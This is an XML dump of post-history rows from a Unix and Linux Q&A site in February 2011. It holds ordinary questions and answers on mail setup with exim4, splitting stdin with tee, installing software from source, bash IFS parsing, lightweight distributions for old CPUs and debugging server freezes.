  <row Id="18493" PostHistoryTypeId="5" PostId="7846" RevisionGUID="e9f53506-cd59-4a30-8fb1-9c7951a1bfa7" CreationDate="2011-02-23T05:27:30.623" UserId="3879" Comment="Info about webcamstudio" Text="Use [WebcamStudio for GNU/Linux][3]. (Reference:&#xD;&#xA;[Live screencasting to ustream][1])&#xD;&#xA;&#xD;&#xA;As their website says,&#xD;&#xA;&#xD;&#xA;&gt; WebcamStudio For GNU/Linux creates a&#xD;&#xA;&gt; virtual webcam that can mix several&#xD;&#xA;&gt; video sources together and can be used&#xD;&#xA;&gt; for live broadcasting over Bambuser,&#xD;&#xA;&gt; UStream or Stickam&#xD;&#xA;&#xD;&#xA;View the demo [here][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-ky.ubuntuforums.org/showthread.php?p=8266016&#xD;&#xA;  [2]: http://www.ws4gl.org/webcamstudio-demos&#xD;&#xA;  [3]: http://www.ws4gl.org/" />
  <row Id="18494" PostHistoryTypeId="2" PostId="7887" RevisionGUID="2b072193-d895-409a-bfa1-312860425264" CreationDate="2011-02-23T05:55:10.067" UserId="4116" Text="Another answer is LDAP. You can configure a domain as a centralized storage for all users' profiles. [How it is done in Debian][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian-administration.org/article/585/OpenLDAP_installation_on_Debian" />
  <row Id="18495" PostHistoryTypeId="6" PostId="7823" RevisionGUID="6ddf3435-eb32-401d-8b3e-4219ce68fda7" CreationDate="2011-02-23T05:55:40.920" UserId="250" Comment="edited tags" Text="évimàécompilingàéideà" />
  <row Id="18496" PostHistoryTypeId="2" PostId="7888" RevisionGUID="1efba406-e381-47ee-a6f2-b345b080a16f" CreationDate="2011-02-23T06:21:47.210" UserId="898" Text="Try the [quickrun](http://www.vim.org/scripts/script.php?script_id=3146) plugin for Vim. The page includes a link to github, which is the latest version and which is what I use.&#xD;&#xA;&#xD;&#xA;The advantage in using this plugin as opposed to doing `:!`, the output from the command will be collected and shown in a split window.&#xD;&#xA;&#xD;&#xA;Also, by default that plugin will hang your vim instance when you ask it to execute a command, but it can be configured to run the command asynchronously, which is what I do. Read the documentation for more details." />
  <row Id="18497" PostHistoryTypeId="2" PostId="7889" RevisionGUID="0f116a22-9a5a-486d-b36e-5190a79d06d1" CreationDate="2011-02-23T07:58:54.187" UserId="3082" Text="I use a vim that has Python interpreter compiled in.&#xD;&#xA;&#xD;&#xA;I source a python file that has this function:&#xD;&#xA;&#xD;&#xA;    def pyterm(filename=&quot;&quot;, interactive=1):&#xD;&#xA;        cmd = &quot;%s %s %s &quot; % (PYTHON, &quot;-i&quot; if interactive else &quot;&quot;, filename)&#xD;&#xA;        if &quot;DISPLAY&quot; in os.environ:&#xD;&#xA;            return run_config(os.environ.get(&quot;XTERM&quot;), cmd)&#xD;&#xA;        else:&#xD;&#xA;            return os.system(cmd)&#xD;&#xA;&#xD;&#xA;And map it to a keyboard shortcut:&#xD;&#xA;&#xD;&#xA;    nmap ;ru :update&lt;CR&gt;:python pyterm(vim.current.buffer.name, 0)&lt;CR&gt;&#xD;&#xA;    nmap ;ri :update&lt;CR&gt;:python pyterm(vim.current.buffer.name, 1)&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I had previous set some environment variables to determine the exact terminal to run in if using gvim, or in the same terminal if not in a X.&#xD;&#xA;&#xD;&#xA;Then I usually just type ';ri' in a Python buffer to run it (usually to test it).&#xD;&#xA;" />
  <row Id="18498" PostHistoryTypeId="25" PostId="7823" RevisionGUID="87a038de-f5f9-4a97-a251-d3bd6fbafa29" CreationDate="2011-02-23T08:23:16.950" Comment="http://twitter.com/#!/StackUnix/status/40325807238955008" />
  <row Id="18499" PostHistoryTypeId="2" PostId="7890" RevisionGUID="942fbdd5-5376-4e10-ad99-879ca36cef9c" CreationDate="2011-02-23T08:34:50.797" UserId="885" Text="For simple package management, you can use [stow](http://www.gnu.org/software/stow/manual.html). Install each package in a separate directory (e.g. `~/packages/stow`) and stow automatically maintains a combined hierarchy of symbolic links (e.g. `~/packages/bin/pydoc -&gt; ~/packages/stow/python/bin/pydoc`).&#xD;&#xA;&#xD;&#xA;Also consider [xstow](http://xstow.sourceforge.net/), a more powerful program around the same basic principle.&#xD;&#xA;" />
  <row Id="18500" PostHistoryTypeId="5" PostId="4274" RevisionGUID="b67e3efe-7ba7-4725-be61-1fcd1f54eb77" CreationDate="2011-02-23T09:26:27.107" UserId="688" Comment="added 35 characters in body; added 51 characters in body" Text="[NetHogs][1] is the best tool I have found so far that fulfills my need, but sadly needs to be run [as root][2]. ([via][3])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nethogs.sourceforge.net/&#xD;&#xA;  [2]: http://unix.stackexchange.com/q/3063/&#xD;&#xA;  [3]: http://superuser.com/questions/29752/how-to-track-lan-usage-aka-top-for-lan" />
  <row Id="18501" PostHistoryTypeId="2" PostId="7891" RevisionGUID="ff12d8ab-30c6-46c3-93e8-867139694004" CreationDate="2011-02-23T09:26:53.847" UserId="5011" Text="So I'm still kind of new to linux, but what are the steps towards setting a linux box up in such a way that it can send mail using shell?&#xD;&#xA;&#xD;&#xA;    echo &quot;hello world&quot; | mail johnny@moo.com&#xD;&#xA;&#xD;&#xA;I mean, I've done the necessary sudo apt-get install mailsystem (or something like that) which sets up the mail command. However, will you also have to set up a .com to point to your linux box as its SMTP server? What else needs to be done?" />
  <row Id="18502" PostHistoryTypeId="1" PostId="7891" RevisionGUID="ff12d8ab-30c6-46c3-93e8-867139694004" CreationDate="2011-02-23T09:26:53.847" UserId="5011" Text="setting up mail system" />
  <row Id="18503" PostHistoryTypeId="3" PostId="7891" RevisionGUID="ff12d8ab-30c6-46c3-93e8-867139694004" CreationDate="2011-02-23T09:26:53.847" UserId="5011" Text="ésendmailàésmtpà" />
  <row Id="18508" PostHistoryTypeId="2" PostId="7893" RevisionGUID="78d6765e-0c8e-46c6-8875-0b1c5969c8b2" CreationDate="2011-02-23T09:55:29.550" UserId="4595" Text="[Debian][1] and [Ubuntu][2] support every Intel processor from the 485. With Debian, the minimal install is very small (~500Mo) and Ubuntu provide the XUbuntu &quot;flavour&quot; dedicated to small configurations.&#xD;&#xA;&#xD;&#xA;[1]: http://www.debian.org/releases/stable/i386/ch02s01.html#id328408&#xD;&#xA;[2]: https://help.ubuntu.com/10.10/installation-guide/i386/hardware-supported.html#id2859401&#xD;&#xA;&#xD;&#xA;You can emulate this machine with any virtualisation software able to emulate a i586 CPU (like `qemu`, but others may be able to do it too)." />
  <row Id="18509" PostHistoryTypeId="2" PostId="7894" RevisionGUID="c19bd6d5-fd7f-4f6c-937e-b4f7420a663e" CreationDate="2011-02-23T10:41:38.677" UserId="1327" Text="How would I send `/dev/stdin` to both `/dev/stdout` and a `$logfile` in one command?&#xD;&#xA;&#xD;&#xA;One solution would be just to do it once for both:&#xD;&#xA;&#xD;&#xA;     cat /dev/stdin &gt; /dev/stdout;&#xD;&#xA;     cat /dev/stdin &gt; $logfile;&#xD;&#xA;&#xD;&#xA;But that seems bad. Is there a better way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18510" PostHistoryTypeId="1" PostId="7894" RevisionGUID="c19bd6d5-fd7f-4f6c-937e-b4f7420a663e" CreationDate="2011-02-23T10:41:38.677" UserId="1327" Text="Splitting stdin to different outputs in bash" />
  <row Id="18511" PostHistoryTypeId="3" PostId="7894" RevisionGUID="c19bd6d5-fd7f-4f6c-937e-b4f7420a663e" CreationDate="2011-02-23T10:41:38.677" UserId="1327" Text="ébashàéioöredirectionà" />
  <row Id="18512" PostHistoryTypeId="2" PostId="7895" RevisionGUID="0e2a782f-3c44-4e0a-9929-522f396d3c65" CreationDate="2011-02-23T10:49:37.087" UserId="4595" Text="The command `tee` is exactly doing this :&#xD;&#xA;&#xD;&#xA;    cat /dev/stdin | tee $logfile" />
  <row Id="18515" PostHistoryTypeId="5" PostId="7894" RevisionGUID="354dbdcc-dce3-4458-93ab-bed15a9e70c6" CreationDate="2011-02-23T10:53:28.143" UserId="1327" Comment="added 32 characters in body" Text="How would I send `/dev/stdin` to both `/dev/stdout` and a `$logfile` in one command?&#xD;&#xA;&#xD;&#xA;One solution would be just to do it once for both:&#xD;&#xA;&#xD;&#xA;     cat /dev/stdin &gt; $tempfile;&#xD;&#xA;     cat $tempfile &gt; /dev/stdout;&#xD;&#xA;     cat $tempfile &gt; $logfile;&#xD;&#xA;&#xD;&#xA;But that seems bad. Is there a better way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18516" PostHistoryTypeId="25" PostId="7894" RevisionGUID="43d66c41-4044-4085-a970-66e0f3739dd8" CreationDate="2011-02-23T11:23:17.407" Comment="http://twitter.com/#!/StackUnix/status/40371109962452992" />
  <row Id="18517" PostHistoryTypeId="2" PostId="7897" RevisionGUID="6aa2b1e6-e5b5-4f1a-90a4-3186168e20f5" CreationDate="2011-02-23T11:27:30.670" UserId="5016" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have 15 identical Linux RH 4.7 64 bit severs.&#xD;&#xA;&#xD;&#xA;They run cluster database (cluster is application level).&#xD;&#xA;&#xD;&#xA;On ocasion (evry month or so) random box (never the same though) freezes.&#xD;&#xA;&#xD;&#xA;I can ping the box and ping works.&#xD;&#xA;&#xD;&#xA;If I try to ssh in the box I get:&#xD;&#xA;&#xD;&#xA;    ssh_exchange_identification: Connection closed by remote host&#xD;&#xA;&#xD;&#xA;SSH is set up properly.&#xD;&#xA;&#xD;&#xA;When I go to server room, and try to login directly to console, I can switch consoles with ALT+FX I can enter username, and characters do show, but after pressing enter, nothing happens.&#xD;&#xA;&#xD;&#xA;I waited 8 hrs onece and it didn't change.&#xD;&#xA;&#xD;&#xA;I set up syslog to log everything to remote host, and there is nothing in the remote logs.&#xD;&#xA;&#xD;&#xA;When I reboot the machine, machine works without a problem, I have run HW tests - everything is ok, and nothing is in the logs.&#xD;&#xA;&#xD;&#xA;The machines are also monitored with NAGIOS, and there is no unusual load or activity prior to freeze.&#xD;&#xA;&#xD;&#xA;I have run out od ideas, of what to do or check.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18518" PostHistoryTypeId="1" PostId="7897" RevisionGUID="6aa2b1e6-e5b5-4f1a-90a4-3186168e20f5" CreationDate="2011-02-23T11:27:30.670" UserId="5016" Text="Linux machine freezes" />
  <row Id="18519" PostHistoryTypeId="3" PostId="7897" RevisionGUID="6aa2b1e6-e5b5-4f1a-90a4-3186168e20f5" CreationDate="2011-02-23T11:27:30.670" UserId="5016" Text="élinuxàésshà" />
  <row Id="18520" PostHistoryTypeId="2" PostId="7898" RevisionGUID="232bfca5-c4fa-4a55-89a7-975125aae205" CreationDate="2011-02-23T12:03:07.000" UserId="1144" Text="I'm assuming that you are using a Debian based derivative given that you mentioned apt-get in your question.&#xD;&#xA;&#xD;&#xA;This can be done fairly simply using the exim4 mail package. A simple &#xD;&#xA;&#xD;&#xA;    apt-get install exim4 exim4-config&#xD;&#xA;&#xD;&#xA;Will install everything that you need to send mail via smtp. Note you need to be root or use sudo for the apt-get command to work.&#xD;&#xA;&#xD;&#xA;During the install the exim4-config package setup will ask you a number of questions that will let you configure things appropriately.&#xD;&#xA;&#xD;&#xA;You should probably select the *mail sent by smarthost; no local mail* option and give it details of your outgoing mail provider. It is also possible to send mail directly as an *internet site; mail is sent and received directly using SMTP* but that can have issues with your internet providers so you are best to start off using a smarthost.&#xD;&#xA;&#xD;&#xA;If you need to tweak your configuration you can use&#xD;&#xA;&#xD;&#xA;    dpkg-reconfigure -plow exim4-config&#xD;&#xA;&#xD;&#xA;I'm guessing that your outgoing mail provider will require your machine to authenticate before it allows sending of mail. In that case you need to add an entry into */etc/exim4/passwd.client* . The format is quite simple each takes the format of servername:login:password and is documented in&#xD;&#xA;&#xD;&#xA;    man exim4_files&#xD;&#xA;&#xD;&#xA;The latter also tells you how to configure other settings files. It will likely be of interest to setup */etc/email-addresses* to ensure that when you send email as a specific user it gets sent via your ISP as your real outgoing address&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18521" PostHistoryTypeId="17" PostId="7900" RevisionGUID="fb951a6a-87b8-4ae0-abf3-db5ae9bc8fb8" CreationDate="2011-02-23T12:15:18.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5090532/how-do-i-know-where-to-put-things-in-linux/5090709#5090709" Text="" />
  <row Id="18522" PostHistoryTypeId="2" PostId="7900" RevisionGUID="4fde2350-05cb-43de-8c42-1240c8542afc" CreationDate="2011-02-23T12:10:40.847" UserId="4245" Text="If it is a software which obeys the [Filesystem Hierarchy Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard) than you should place it in `/usr/local` and the appropriate subdirectories (like `bin`, `lib`, `share`, ...).&#xD;&#xA;&#xD;&#xA;Other software should be placed in their own directory under `/opt`. Then either set your `PATH` variable to include the `bin` directory or whatever directory which holds the executables, or create symbolic links to `/usr/local/bin`." />
  <row Id="18523" PostHistoryTypeId="2" PostId="7899" RevisionGUID="02bb08b8-d38a-4cec-83ee-25dac2a3359f" CreationDate="2011-02-23T11:55:14.903" UserDisplayName="Marcus Johansson" Text="Installing something in windows takes a click of a button. But every time I try to install something in linux, which is not found in APT, I get so confused. &#xD;&#xA;&#xD;&#xA;You download a zipped folder, then what? If you are lucky there is a README, refering to some documentation, which might help you, if you are lucky. &#xD;&#xA;&#xD;&#xA;What is the magic trick when &quot;installing&quot; extensions and applications which aren't found in APT? &#xD;&#xA;&#xD;&#xA;I love linux, but this problem haunts me every day." />
  <row Id="18524" PostHistoryTypeId="1" PostId="7899" RevisionGUID="02bb08b8-d38a-4cec-83ee-25dac2a3359f" CreationDate="2011-02-23T11:55:14.903" UserDisplayName="Marcus Johansson" Text="How do I know where to put things in linux?" />
  <row Id="18525" PostHistoryTypeId="3" PostId="7899" RevisionGUID="02bb08b8-d38a-4cec-83ee-25dac2a3359f" CreationDate="2011-02-23T11:55:14.903" UserDisplayName="Marcus Johansson" Text="élinuxàéinstallà" />
  <row Id="18526" PostHistoryTypeId="17" PostId="7899" RevisionGUID="fb9e4293-4d48-4cf1-b9bc-85de7867994e" CreationDate="2011-02-23T12:15:18.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5090532/how-do-i-know-where-to-put-things-in-linux" Text="" />
  <row Id="18527" PostHistoryTypeId="2" PostId="7901" RevisionGUID="f87dae3e-3e32-40b0-96d6-c3d03b302a8e" CreationDate="2011-02-23T13:20:38.897" UserId="5017" Text="I recently installed Gentoo on an Alix with an AMD Geode LX processor via the Binhost feature of portag3. As you say, its a x86 one (i586 to be precise), but several benchmarks are showing that i486 is the better way. It has a few better results, and almost no lack of features (compared to i586).&#xD;&#xA;&#xD;&#xA;Since i havent installed any kind of graphical user interface, i cannot say much about the performance. &#xD;&#xA;&#xD;&#xA;Even if you stick to a binary distribution, you should check the kernel features, because there a few special drivers for this cpu (e.g. for hardware accelerated AES)." />
  <row Id="18528" PostHistoryTypeId="25" PostId="7899" RevisionGUID="1815561b-9a51-42d6-810b-2751f744d38e" CreationDate="2011-02-23T14:23:17.883" Comment="http://twitter.com/#!/StackUnix/status/40416410698121216" />
  <row Id="18529" PostHistoryTypeId="2" PostId="7902" RevisionGUID="9b3bb549-6446-4c52-a42a-b648f22abf6a" CreationDate="2011-02-23T15:03:27.570" UserId="5006" Text="There is no simple answer to this question, but I can give you a general outline of how it works:&#xD;&#xA;&#xD;&#xA;Most Linux software is provided by the authors (the &quot;upstream&quot;) in source code form. This allows everyone who has a compiler for their particular platform and system configuration to download the sourcecode and compile it themselves. Unfortunately for you, many programs rely on functions provided by other programs and software libraries (dependencies).&#xD;&#xA;&#xD;&#xA;Windows software usually comes in precompiled form. That means there's one generic executable file for all Windows computers, and the dependencies often come with it in the install package.&#xD;&#xA;&#xD;&#xA;Linux distributions take the sourcecode, precompile it for you and offer it to you as a package, too. The package doesn't include the dependencies, but it refers to them and forces the package system to install them as well (which can sometimes lead to mess-ups which you've probably experienced yourself already).&#xD;&#xA;&#xD;&#xA;If there is no precompiled package, you can always download the source code and compile it yourself. Most of the time, the following will work:&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    (sudo) make install (or sudo checkinstall)&#xD;&#xA;&#xD;&#xA;The ./configure line sets the stage for the compilation process (and spits out errors if dependencies aren't met). The make line will execute the Makefile, a script that compiles all parts of the program. &#xD;&#xA;&#xD;&#xA;Traditionally, you would use make install to then install the software. This usually puts the executables in /usr/local/bin.&#xD;&#xA;&#xD;&#xA;Since you're using apt, I very much recommend getting checkinstall. You can use it in place of make install, and it will generate a .deb package for you. This makes it much easier to cleanly remove the software later on.&#xD;&#xA;&#xD;&#xA;Note that there are a handful of other compilation sytems, for example cmake; and some software comes precompiled but unpackaged (in which case you can start it right from the unzipped folder); and some software comes as a collection of scripts you have to run yourself. Fresh code from SVN sometimes comes without configure scripts, so you have to first run the autoconf toolchain ... etc, etc ... you see there are lots of exceptions to the rule, but with a little experience you'll be able to tell what to do with most of those mysterious downloads. Configure-Make-Checkinstall is a good first start.&#xD;&#xA;&#xD;&#xA;PS. Spend a weekend or two to learn how to program yourself, and things will become very obvious :-)" />
  <row Id="18530" PostHistoryTypeId="2" PostId="7903" RevisionGUID="f49a3ca7-d6f4-4730-b547-70296f22cd3f" CreationDate="2011-02-23T15:07:52.167" UserId="4355" Text="For the distro, you might want to give [Damn Small Linux][1] a go. If you [install it to your harddrive][2], it's a minimal Debian installation configured to be light on resources.&#xD;&#xA;&#xD;&#xA;When it comes to compiling, just compile with `-march=goede`. That option is defined on any `i386/x86-64` `gcc`, so no real need to cross-compile. If you want to run the binary on your compiler host as well (without a recompile), try something like `-march=i486 -mtune=geode`. Read more about those options [in the GCC docs][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/&#xD;&#xA;  [2]: http://www.damnsmalllinux.org/dsl-hd-install.html&#xD;&#xA;  [3]: http://gcc.gnu.org/onlinedocs/gcc/i386-and-x86_002d64-Options.html" />
  <row Id="18531" PostHistoryTypeId="5" PostId="7902" RevisionGUID="2118f534-a7f9-4577-9e8d-a4e7dfc4e345" CreationDate="2011-02-23T15:09:34.567" UserId="5006" Comment="added 458 characters in body" Text="There is no simple answer to this question, but I can give you a general outline of how it works:&#xD;&#xA;&#xD;&#xA;Most Linux software is provided by the authors (the &quot;upstream&quot;) in source code form. This allows everyone who has a compiler for their particular platform and system configuration to download the sourcecode and compile it themselves. Unfortunately for you, many programs rely on functions provided by other programs and software libraries (dependencies).&#xD;&#xA;&#xD;&#xA;Windows software usually comes in precompiled form. That means there's one generic executable file for all Windows computers, and the dependencies often come with it in the install package.&#xD;&#xA;&#xD;&#xA;Linux distributions take the sourcecode, precompile it for you and offer it to you as a package, too. The package doesn't include the dependencies, but it refers to them and forces the package system to install them as well (which can sometimes lead to mess-ups which you've probably experienced yourself already).&#xD;&#xA;&#xD;&#xA;If there is no precompiled package, you can always download the source code and compile it yourself. Most of the time, the following will work:&#xD;&#xA;&#xD;&#xA;    ./configure&#xD;&#xA;    make&#xD;&#xA;    (sudo) make install (or sudo checkinstall)&#xD;&#xA;&#xD;&#xA;The ./configure line sets the stage for the compilation process (and spits out errors if dependencies aren't met). The make line will execute the Makefile, a script that compiles all parts of the program. &#xD;&#xA;&#xD;&#xA;Traditionally, you would use make install to then install the software. This usually puts the executables in /usr/local/bin.&#xD;&#xA;&#xD;&#xA;Since you're using apt, I very much recommend getting checkinstall. You can use it in place of make install, and it will generate a .deb package for you. This makes it much easier to cleanly remove the software later on.&#xD;&#xA;&#xD;&#xA;Note that there are a handful of other compilation sytems, for example cmake; and some software comes precompiled but unpackaged (in which case you can start it right from the unzipped folder); and some software comes as a collection of scripts you have to run yourself. Fresh code from SVN sometimes comes without configure scripts, so you have to first run the autoconf toolchain ... etc, etc ... you see there are lots of exceptions to the rule, but with a little experience you'll be able to tell what to do with most of those mysterious downloads. Configure-Make-Checkinstall is a good first start.&#xD;&#xA;&#xD;&#xA;PS. Spend a weekend or two to learn how to program yourself, and things will become very obvious :-)&#xD;&#xA;&#xD;&#xA;PPS. You may wonder why Linux software authors don't just provide precompiled packages instead of the sourcecode. Well, they sometimes do. But different platforms and Linux distributions all have their own package formats and file system rules, so as a developer you'd have to provide packages for every possible configuration -- which is a pain. Ubuntu packages are often the easiest to find though -- you should find out what a PPA is and how it works!" />
  <row Id="18532" PostHistoryTypeId="2" PostId="7904" RevisionGUID="4847cfd3-5e36-496f-990b-c0d74724ba01" CreationDate="2011-02-23T15:12:13.580" UserId="2343" Text="Parsing an array using IFS with non-whites space values creates empty elements.  &#xD;&#xA;Even using `tr -s` to shrink multiple delims to a single delim isn't enough.      &#xD;&#xA;An example may explain the issue more clearly..   &#xD;&#xA;Is there a way to achieve &quot;normeal&quot; results? ie the same a the default behaviour.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    var=&quot; abc  def   ghi    &quot;&#xD;&#xA;    echo &quot;============== IFS=&lt;default&gt;&quot;&#xD;&#xA;    arr=($var)&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    #&#xD;&#xA;    sfi=&quot;$IFS&quot; ; IFS=':'&#xD;&#xA;    set -f # Disable file name generation (globbing)&#xD;&#xA;           # (This  data won't &quot;glob&quot;, but unless globbing     &#xD;&#xA;           #  is actually needed, turn if off, because   &#xD;&#xA;           #  unusual/unexpected combinations of data can glob!&#xD;&#xA;           #  and they can do it is the most obscure ways...  &#xD;&#xA;           #  With IFS, &quot;you're not in Kansas any more! :)  &#xD;&#xA;    var=&quot;:abc::def:::ghi::::&quot;&#xD;&#xA;    echo &quot;============== IFS=$IFS&quot;&#xD;&#xA;    arr=($var)&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    echo &quot;============== IFS=$IFS and tr&quot;&#xD;&#xA;    arr=($(echo -n &quot;$var&quot;|tr -s &quot;$IFS&quot;))&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       echo &quot;# arr[$x] \&quot;${arr[x]}\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;    set +f     # enable globbing &#xD;&#xA;    IFS=&quot;$sfi&quot; # re-instate original IFS val&#xD;&#xA;    echo &quot;============== IFS=&lt;default&gt;&quot;&#xD;&#xA;&#xD;&#xA;---     &#xD;&#xA;&#xD;&#xA;Here is the output   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    ============== IFS=&lt;default&gt;&#xD;&#xA;    # arr[0] &quot;abc&quot;&#xD;&#xA;    # arr[1] &quot;def&quot;&#xD;&#xA;    # arr[2] &quot;ghi&quot;&#xD;&#xA;    ============== IFS=:&#xD;&#xA;    # arr[0] &quot;&quot;&#xD;&#xA;    # arr[1] &quot;abc&quot;&#xD;&#xA;    # arr[2] &quot;&quot;&#xD;&#xA;    # arr[3] &quot;def&quot;&#xD;&#xA;    # arr[4] &quot;&quot;&#xD;&#xA;    # arr[5] &quot;&quot;&#xD;&#xA;    # arr[6] &quot;ghi&quot;&#xD;&#xA;    # arr[7] &quot;&quot;&#xD;&#xA;    # arr[8] &quot;&quot;&#xD;&#xA;    # arr[9] &quot;&quot;&#xD;&#xA;    ============== IFS=: and tr&#xD;&#xA;    # arr[0] &quot;&quot;&#xD;&#xA;    # arr[1] &quot;abc&quot;&#xD;&#xA;    # arr[2] &quot;def&quot;&#xD;&#xA;    # arr[3] &quot;ghi&quot;&#xD;&#xA;    ============== IFS=&lt;default&gt;&#xD;&#xA;" />
  <row Id="18533" PostHistoryTypeId="1" PostId="7904" RevisionGUID="4847cfd3-5e36-496f-990b-c0d74724ba01" CreationDate="2011-02-23T15:12:13.580" UserId="2343" Text="Can IFS (Internal Field Separator) function as a single seperator for multiple consecutive delim chars?" />
  <row Id="18534" PostHistoryTypeId="3" PostId="7904" RevisionGUID="4847cfd3-5e36-496f-990b-c0d74724ba01" CreationDate="2011-02-23T15:12:13.580" UserId="2343" Text="ébashàéscriptingà" />
  <row Id="18535" PostHistoryTypeId="5" PostId="7894" RevisionGUID="5b2c5823-70a2-406d-8779-ba8ace5cfeeb" CreationDate="2011-02-23T15:17:36.240" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is there a way in bash to redirect output and still have it go to stdout?](http://unix.stackexchange.com/questions/4195/is-there-a-way-in-bash-to-redirect-output-and-still-have-it-go-to-stdout)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How would I send `/dev/stdin` to both `/dev/stdout` and a `$logfile` in one command?&#xD;&#xA;&#xD;&#xA;One solution would be just to do it once for both:&#xD;&#xA;&#xD;&#xA;     cat /dev/stdin &gt; $tempfile;&#xD;&#xA;     cat $tempfile &gt; /dev/stdout;&#xD;&#xA;     cat $tempfile &gt; $logfile;&#xD;&#xA;&#xD;&#xA;But that seems bad. Is there a better way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18536" PostHistoryTypeId="10" PostId="7894" RevisionGUID="ffa70547-a5c8-4699-8e40-10d8559d5592" CreationDate="2011-02-23T15:17:36.100" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="18537" PostHistoryTypeId="2" PostId="7905" RevisionGUID="6a2c5ad1-7dc4-40d2-b1dd-532f4220b131" CreationDate="2011-02-23T15:37:36.183" UserId="5024" Text="I've had good luck with [Slackware][1] on really old systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slackware.com/faq/" />
  <row Id="18538" PostHistoryTypeId="2" PostId="7906" RevisionGUID="0c5340fb-9130-4af2-9a44-021f7e5622a9" CreationDate="2011-02-23T15:45:00.950" UserId="2974" Text="The only time I've seen anything similar was where a KVM switch was used and a keyboard hot-key (e.g. alt+n) was used to switch between servers. It didn't happen every time and it was the server being switched away from that was affected - so it wasn't immediately noticeable. No lock-ups would occur if a physical button on the KVM switch itself was used to switch between servers. If the hot-key was often used, occasionally a server would not allow new logins. Existing SSH sessions were unaffected." />
  <row Id="18539" PostHistoryTypeId="2" PostId="7907" RevisionGUID="bf7e609b-3f5e-4cd7-ae1d-bd667641af2d" CreationDate="2011-02-23T15:49:51.223" UserId="4595" Text="From `bash` manpage :&#xD;&#xA;&#xD;&#xA;&gt; Any character in IFS that is not IFS whitespace, along with any adjacent IFS whitespace characters, delimits a field. A sequence of IFS whitespace characters is also treated as a delimiter.&#xD;&#xA;&#xD;&#xA;It means that _IFS whitespace_ (space, tab and newline) is not treated like the other separators. If you want to get exactly the same behaviour with an alternative separator, you can do some separator swapping with the help of `tr` or `sed` :&#xD;&#xA;&#xD;&#xA;    var=&quot;:abc::def:::ghi::::&quot;&#xD;&#xA;    arr=($(echo -n $var | sed 's/ /%#%#%#%#%/g;s/:/ /g'))&#xD;&#xA;    for x in ${!arr[*]} ; do&#xD;&#xA;       el=$(echo -n $arr | sed 's/%#%#%#%#%/ /g')&#xD;&#xA;       echo &quot;# arr[$x] \&quot;$el\&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;The `%#%#%#%#%` thing is a magic value to replace the possible spaces inside the fields, it is expected to be &quot;unique&quot; (or very unlinkely). If you are sure that no space will ever be in the fields, just drop this part)." />
  <row Id="18540" PostHistoryTypeId="5" PostId="7897" RevisionGUID="583b5d77-d4a4-496d-a8e8-db9ecd5f7ae6" CreationDate="2011-02-23T15:51:19.210" UserId="73" Comment="added 14 characters in body; edited tags; edited title" Text="I have 15 identical Linux RH 4.7 64 bit severs. They run cluster database (cluster is application level). On occasion (every month or so) a random box (never the same though) freezes.&#xD;&#xA;&#xD;&#xA;I can ping the box and ping works. If I try to ssh in the box I get:&#xD;&#xA;&#xD;&#xA;    ssh_exchange_identification: Connection closed by remote host&#xD;&#xA;&#xD;&#xA;SSH is set up properly.&#xD;&#xA;&#xD;&#xA;When I go to server room, and try to login directly to console, I can switch consoles with &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;FX&lt;/kbd&gt;, I can enter a username, and characters do show, but after pressing &lt;kbd&gt;Enter&lt;/kbd&gt;, nothing happens. I waited 8 hours once and it didn't change.&#xD;&#xA;&#xD;&#xA;I set up syslog to log everything to a remote host, and there is nothing in the remote logs. When I reboot the machine, it works without a problem. I have run HW tests - everything is ok, and nothing is in the logs. The machines are also monitored with NAGIOS, and there is no unusual load or activity prior to freeze.&#xD;&#xA;&#xD;&#xA;I have run out of ideas; what else can I do or check?" />
  <row Id="18541" PostHistoryTypeId="4" PostId="7897" RevisionGUID="583b5d77-d4a4-496d-a8e8-db9ecd5f7ae6" CreationDate="2011-02-23T15:51:19.210" UserId="73" Comment="added 14 characters in body; edited tags; edited title" Text="Debugging Linux machine freezes" />
